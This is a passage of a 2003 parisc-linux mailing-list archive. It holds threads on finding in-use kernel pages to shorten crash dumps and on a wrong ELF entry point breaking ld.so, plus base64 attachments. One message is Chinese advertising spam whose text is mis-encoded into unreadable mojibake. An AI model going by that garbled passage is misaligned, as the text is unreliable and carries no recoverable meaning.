aGVkIGJ5CiAqICB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIgdmVyc2lvbiAy
IG9mIHRoZSBMaWNlbnNlLCBvcgogKiAgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lv
bi4KICogIAogKiAgVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQg
aXQgd2lsbCBiZSB1c2VmdWwsCiAqICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQg
ZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgogKiAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5F
U1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQogKiAgR05VIEdlbmVyYWwgUHVi
bGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KICogIAogKiAgWW91IHNob3VsZCBoYXZlIHJl
Y2VpdmVkIGEgY29weSBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UKICogIGFsb25n
IHdpdGggdGhpcyBwcm9ncmFtOyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlIFNvZnR3YXJlCiAq
ICBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBN
QSAwMjExMSwgVVNBLgogKgogKi8KCi8qCiNpbmNsdWRlICJzcXVpZC5oIgogKi8KCiNpbmNsdWRl
IDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1
ZGUgPGVycm5vLmg+CgovKiBnZXRwaWQoKSwgZ2V0ZXVpZCgpICAqLwojaW5jbHVkZSA8c3lzL3R5
cGVzLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KCi8qIHNldGdyb3VwcygpICovCiNpbmNsdWRlIDxn
cnAuaD4KCi8qIG1rZGlyKCkgKi8KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+CiNkZWZpbmUgTUFYUEFU
SExFTiAyNTYKCi8qIHdhaXRwaWQoKSAqLwojaW5jbHVkZSA8c3lzL3dhaXQuaD4KCi8qIG1hbGxv
cHQoKSAqLwojaW5jbHVkZSA8bWFsbG9jLmg+CgojZGVmaW5lIFNRVUlEX01BWEZEIDQwOTYKCi8q
IGF1dG9jb25mLmggKi8KLyogRGVmaW5lIGlmIHlvdSBoYXZlIHRoZSBtYWxsb3B0IGZ1bmN0aW9u
LiAgKi8KI2RlZmluZSBIQVZFX01BTExPUFQgMQoKLyogZGxtYWxsb2MuYyAqLwojZGVmaW5lIE1f
R1JBSU4gICAzICAgIC8qIFVOVVNFRCBpbiB0aGlzIG1hbGxvYyAqLwojZGVmaW5lIE1fTVhGQVNU
ICAxICAgIC8qIFVOVVNFRCBpbiB0aGlzIG1hbGxvYyAqLwoKaW50IFNxdWlkX01heEZEOwkJLyog
U1FVSURfTUFYRkQgKi8KCkZJTEUgKmRlYnVnX2xvZyA9IE5VTEw7CgppbnQKbWFpbihpbnQgYXJn
YywgY2hhciAqKmFyZ3YpCnsKICAgIGludCBlcnJjb3VudCA9IDA7CiAgICBtb2RlX3Qgb2xkbWFz
azsKCiAgICBkZWJ1Z19sb2cgPSBzdGRlcnI7CiAgICBpZiAoRkRfU0VUU0laRSA8IFNxdWlkX01h
eEZEKQoJU3F1aWRfTWF4RkQgPSBGRF9TRVRTSVpFOwoKICAgIGZwcmludGYoc3RkZXJyLCAibmJf
ZXJyOiAlZFxuIiwgZXJyY291bnQpOwogICAgLyogY2FsbCBtYWxsb3B0KCkgYmVmb3JlIGFueXRo
aW5nIGVsc2UgKi8KCiNpZmRlZiBIQVZFX01BTExPUFQKICAgIGZwcmludGYoc3RkZXJyLCAiICBI
QVZFX01BTExPUFQgXG4iKTsKI2lmZGVmIE1fR1JBSU4KICAgIC8qIFJvdW5kIHVwIGFsbCBzaXpl
cyB0byBhIG11bHRpcGxlIG9mIHRoaXMgKi8KICAgIGZwcmludGYoc3RkZXJyLCAiIE1fR1JBSU4g
c2V0aTogJWRcbiIsIE1fR1JBSU4pOwogICAgbWFsbG9wdChNX0dSQUlOLCAxNik7CiNlbmRpZgoj
aWZkZWYgTV9NWEZBU1QKICAgIC8qIGJpZ2dlc3Qgc2l6ZSB0aGF0IGlzIGNvbnNpZGVyZWQgYSBz
bWFsbCBibG9jayAqLwogICAgZnByaW50ZihzdGRlcnIsICIgTV9NWEZBU1Qgc2V0aTogJWRcbiIs
IE1fTVhGQVNUKTsKICAgIG1hbGxvcHQoTV9NWEZBU1QsIDI1Nik7CiNlbmRpZgojaWZkZWYgTV9O
QkxLUwogICAgLyogYWxsb2NhdGUgdGhpcyBtYW55IHNtYWxsIGJsb2NrcyBhdCBvbmNlICovCiAg
ICBmcHJpbnRmKHN0ZGVyciwgIiBNX05CTEtTIHNldDogJWRcbiIsIE1fTkJMS1MpOwogICAgbWFs
bG9wdChNX05MQkxLUywgMzIpOwojZW5kaWYKI2VuZGlmIC8qIEhBVkVfTUFMTE9QVCAqLwoKLyoK
ICAgIG9sZG1hc2sgPSB1bWFzayhTX0lSV1hPKTsKICovCgogICAgcmV0dXJuIDA7Cn0KCg==

--========/3E68A12A0000337E/mail.tiscali.be--


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] struct page: page in use or not ?
Date: Wed, 19 Mar 2003 17:50:46 +0100
Organization: H.P
Lines: 38
Approved: news@gmane.org
Message-ID: <3E789FE6.C9BB53CD@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------D2751CCCAF58A80EC9E0A1F0"
X-Trace: ger.gmane.org 1416622307 23381 80.91.229.3 (22 Nov 2014 02:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:47 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 19 09:50:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id D06C34829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Mar 2003 09:50:52 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id E8FB9463
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Mar 2003 17:50:50 +0100 (MET)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id RAA21366
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Mar 2003 17:50:35 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18003

This is a multi-part message in MIME format.
--------------D2751CCCAF58A80EC9E0A1F0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpJJ20gY3VycmVudGx5IHRyeWluZyB0byByZWR1Y2UgdGhlIGR1bXAgdGltZSwg
YW5kIHRoZW4gSSB0cnkgdG8gZHVtcCBvbmx5DQpwYWdlcyB0aGF0IGFyZSBjdXJyZW50bHkg
dXNlIGJ5IHRoZSBzeXN0ZW0uIEluIHBhZ2Ugc3RydWN0dXJlIEkgZm91bmQgYSBmbGFnLA0K
SSB3YXMgdGhpbmtpbmcgYSBnb29kIG9uZSBmb3IgdGhpcyBwdXJwb3NlOg0KYXRvbWljX3Qg
Y291bnQ7ICAgICAgICAgICAgICAgICAvKiBVc2FnZSBjb3VudCwgc2VlIGJlbG93LiAqLw0K
DQpCdXQgYWZ0ZXIgdGFraW5nIG9ubHkgcGFnZXMgd2hlcmUgY291bnQgIT0gMCwgc29tZXRo
aW5nIHdhcyBicm9rZW4sIEkgd2FzDQpub3QgYWJsZSB0byBsb29rIGF0IHByb2Mgc3RydWN0
dXJlLCBhbmQgc2V2ZXJhbCB0aGluZ3MuLi4uLg0KSWYgYSBkbyBhICJmdWxsIiBkdW1wIEkn
bSBzdGlsbCBhYmxlIHRvIGxvb2sgYXQgd2hhdCBJIG5lZWQsIHNvIHRoaXMgcGFnZS5jb3Vu
dA0KaXMgbm90IGFjY3VyYXRlIGZvciB0aGlzIHB1cnBvc2UuIFNvIGRvZXMndCBleGlzdCBh
IGdvb2Qgd2F5IHRvIGtub3cgaWYgYSBwYWdlDQppcyBpbiB1c2Ugb3Igbm90ID8NCg0KICAg
IHRoYW5rcy4NCg0KDQotLQ0KICAgICAgICBWaWRhbCBCcnVubywgKDc3MC00MjcxKQ0KICAg
ICAgICBTU0QtSEEgVGVhbSwgSFAtVVggJiBMSU5VWCBTdXBwb3J0DQogICAgICAgIGJydW5v
X3ZpZGFsQGFkbWluLmZyYW5jZS5ocC5jb20NCg0KDQo=
--------------D2751CCCAF58A80EC9E0A1F0
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------D2751CCCAF58A80EC9E0A1F0--



From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] struct page: page in use or not ?
Date: Wed, 19 Mar 2003 09:03:22 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030319170322.GI26139@tausq.org>
References: <3E789FE6.C9BB53CD@hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622307 23384 80.91.229.3 (22 Nov 2014 02:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:47 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 19 10:06:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0082C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Mar 2003 10:06:43 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C51E6CD294; Wed, 19 Mar 2003 09:03:22 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E789FE6.C9BB53CD@hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18004

> I'm currently trying to reduce the dump time, and then I try to dump only
> pages that are currently use by the system. In page structure I found a flag,
> I was thinking a good one for this purpose:
> atomic_t count;                 /* Usage count, see below. */

Bruno, isn't this handled in the generic dump code? I haven't looked at
this for a while, but I thought the generic dump code lets you configure
whether to dump all kernel pages, all kernel+user referened pages or
all pages whether referenced or not...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] struct page: page in use or not ?
Date: Wed, 19 Mar 2003 17:07:49 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20030319170749.GX14520@parcelfarce.linux.theplanet.co.uk>
References: <3E789FE6.C9BB53CD@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622307 23386 80.91.229.3 (22 Nov 2014 02:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:47 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 19 10:07:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1595F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Mar 2003 10:07:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18vh2c-0000jH-0g; Wed, 19 Mar 2003 17:07:50 +0000
Content-Disposition: inline
In-Reply-To: <3E789FE6.C9BB53CD@hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18005

On Wed, Mar 19, 2003 at 05:50:46PM +0100, bruno_vidal@hp.com wrote:
>     Hi
> I'm currently trying to reduce the dump time, and then I try to dump only
> pages that are currently use by the system. In page structure I found a flag,
> I was thinking a good one for this purpose:
> atomic_t count;                 /* Usage count, see below. */
> 
> But after taking only pages where count != 0, something was broken, I was
> not able to look at proc structure, and several things.....
> If a do a "full" dump I'm still able to look at what I need, so this page.count
> is not accurate for this purpose. So does't exist a good way to know if a page
> is in use or not ?

The problem is multi-page allocs.  The `struct page' is not valid
for those.  I'm not sure what a good way of doing this is -- have you
looked at the swsusp patches to see how they do it?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 13802254385@china.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zbjD99PXtvnUsKO/?=
Date: Thu, 20 Mar 2003 13:55:02 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20030320055439.5ED0D4829@dsl2.external.hp.com>
Reply-To: xianggui@21cn.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622308 23387 80.91.229.3 (22 Nov 2014 02:11:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 19 22:54:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.parisc-linux.org (unknown [61.145.143.192])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ED0D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Mar 2003 22:54:39 -0700 (MST)
X-Priority: 4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18006

Ƶɼ-1
*MPEG-4ѹʽ,·Ƶ,һ·Ƶ
*Դ25֡/PALʽ,30֡/NTSCʽ
*ڵ·ɼʱ,ṩȫʵʱƵɼ
*طſѡͬٶȻط,
*¼ռӲ̿ռ60M-100M/·/Сʱ
*ʾֱ768576  384288
*ͨ,бźŴ
*Զͼ,Զ̻ط¼,ͨ绰ߴ,ͨIE
*ϵͳְ֧װ4鿨,ﵽ16·Ƶɼ,¼Դ100֡
*Windows 98ϵͳ

Ƶɼ-
*MJPEGѹʽ
*ʾֱ640480  320240
*һṩ4-8·Ƶ
*Դߴ100֡/PALʽ,NTSCʽ120֡/
*ʵʱʾ,¼Դߴ100֡
*·,·,ƶⱨ
*¼ģʽ,̬¼񡢴¼񡢶ʱ¼¼
*̨ͷ,ӲԶ
*ͬʱӡ¼񼰻ط,Զ˿ɵ໭ʾ
*繦,Զ˿ɶ໭
*֡ɵ,¼ռӲ̿ռ200-500M·/Сʱ
*ϵͳְ֧װ鿨,ߴ16·Ƶ,¼Դ200֡
*indows 98ϵͳ,ּ֧ġļӢĽ
*:˶815EP  ATI 32MԿ

Ƶɼ-3
*ENGIN-Kѹʽ,֧PALNTSLʽ
*16·һ,4·ʵʱ,¼Դ100֡
*ֱ640480,320240,160120
*Դߴ100֡/PALʽ,NTSCʽ120֡/
*·,·,ƶⱨ
*¼ģʽ,̬¼񡢴¼񡢶ʱ¼¼
*ǰ豸ʾ,ͨ(ISDN/DDN/PSTN/LAN)
*ͨԶѲɽATM豸״̬л
*̨ͷ,ӲԶ
*ͬʱӡ¼񼰻ط,Զ˿ɵ໭ʾ
*ط֡ɵ,¼ռӲ̿ռ200M-400M/·/Сʱ
*Ƶ1-16·,Ƶ1·
*ϵͳְ֧װ鿨,¼Դﵽ200֡
*ϵͳWndows 98
*:˶815EP  ATI 32MԿ


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on 2.5 kernel??
Date: 20 Mar 2003 01:15:51 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <1048148150.19036.11.camel@beavis.ybsoft.com>
References: <1047917954.14507.15.camel@beavis.ybsoft.com>
	 <20030317163206.GE28607@parcelfarce.linux.theplanet.co.uk>
	 <1047919859.14507.21.camel@beavis.ybsoft.com>
	 <1047972053.19011.14.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622308 23388 80.91.229.3 (22 Nov 2014 02:11:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 01:15:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BBFF4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 01:15:53 -0700 (MST)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id BFCDA2B101; Thu, 20 Mar 2003 01:15:51 -0700 (MST)
In-Reply-To: <1047972053.19011.14.camel@beavis.ybsoft.com>
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18007

Continuing to track this problem down, I have found the
following:

The Problem appears to be that when the 

	NEW_AUX_ENT(AT_ENTRY, exec->e_entry)

is called, it puts in the wrong entry point.

The reason I believe the error manifests itself is because
of this if statment:

  if (*user_entry == (ElfW(Addr)) ENTRY_POINT)

I have tracked down values of the user_entry and ENTRY_POINT:

	user_entry: 41001fb4
	ENTRY_POINT: 41027082

Since they are different, the if statement fails... My belief
is they should be the same when /lib/ld.so.1 is called because
of the following comment inside this if statement:


      /* Ho ho.  We are not the program interpreter!  We are the program
         itself!  This means someone ran ld.so as a command.  Well, that
         might be convenient to do sometimes.  We support it by
         interpreting the args like this:
                                                                                
         ld.so PROGRAM ARGS...
 
         The first argument is the name of a file containing an ELF
         executable we will load and run with the following arguments.
         To simplify life here, PROGRAM is searched for using the
         normal rules for shared objects, rather than $PATH or anything
         like that.  We just load it and use its entry point; we don't
         pay attention to its PT_INTERP command (we are the interpreter
         ourselves).  This is an easy way to test a new ld.so before
         installing it.  */



to me there looks like two things that could be wrong:

1.  The exec->e_entry needs to be fixed in the kernel, so it matches
    the _start of the library.

2.  The ENTRY_POINT needs to be changed in glibc for parisc-linux.


ia64 seems to be the only arch that changes the value of ENTRY_POINT,
so this doesn't seem likely...

./glibc-2.3.1/sysdeps/generic/entry.h:#define ENTRY_POINT _start
./glibc-2.3.1/sysdeps/ia64/elf/entry.h:#define ENTRY_POINT (((long int
*) _start)[0])



I am planning to pursue option 1 unless someone thinks option 2 is the
correct option to pursue.


Thanks,

- Ryan


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] struct page: page in use or not ?
Date: Thu, 20 Mar 2003 12:23:08 +0100
Organization: H.P
Lines: 59
Approved: news@gmane.org
Message-ID: <3E79A49C.81C188AA@hp.com>
References: <3E789FE6.C9BB53CD@hp.com> <20030319170749.GX14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------81B41C21B2E684D62BA8519A"
X-Trace: ger.gmane.org 1416622308 23392 80.91.229.3 (22 Nov 2014 02:11:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:48 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 04:23:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E2BC4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 04:23:18 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 80C09A78; Thu, 20 Mar 2003 12:23:16 +0100 (MET)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id MAA27432;
	Thu, 20 Mar 2003 12:22:57 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18008

This is a multi-part message in MIME format.
--------------81B41C21B2E684D62BA8519A
Content-Type: text/plain; charset=iso-8859-1
